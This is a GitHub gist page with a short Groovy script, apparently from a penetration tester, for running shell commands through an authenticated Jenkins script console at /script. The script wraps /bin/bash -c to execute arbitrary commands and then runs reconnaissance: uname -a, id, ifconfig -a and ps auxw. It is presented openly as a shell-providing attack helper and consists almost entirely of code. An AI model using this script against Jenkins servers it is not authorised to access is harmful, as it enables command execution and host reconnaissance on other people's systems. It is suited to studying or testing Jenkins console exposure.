Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Last active December 12, 2019 10:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save mgeeky/66d562ea08f490e4784d4b91cc1b07be to your computer and use it in GitHub Desktop.
Save mgeeky/66d562ea08f490e4784d4b91cc1b07be to your computer and use it in GitHub Desktop.
Jenkins Groovy Shell-providing script. To be used after passing authentication on http://IP:Port/script
def shell(String command) {
println command
def process = new ProcessBuilder(addShellPrefix(command))
.directory(new File(System.properties.'user.dir'))
.redirectErrorStream(true)
.start()
process.inputStream.eachLine {println it}
process.waitFor();
return process.exitValue()
}
private def addShellPrefix(String command) {
commandArray = new String[3]
commandArray[0] = "/bin/bash"
commandArray[1] = "-c"
commandArray[2] = command
return commandArray
}
shell('uname -a')
shell('id')
shell('ifconfig -a')
shell('ps auxw')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment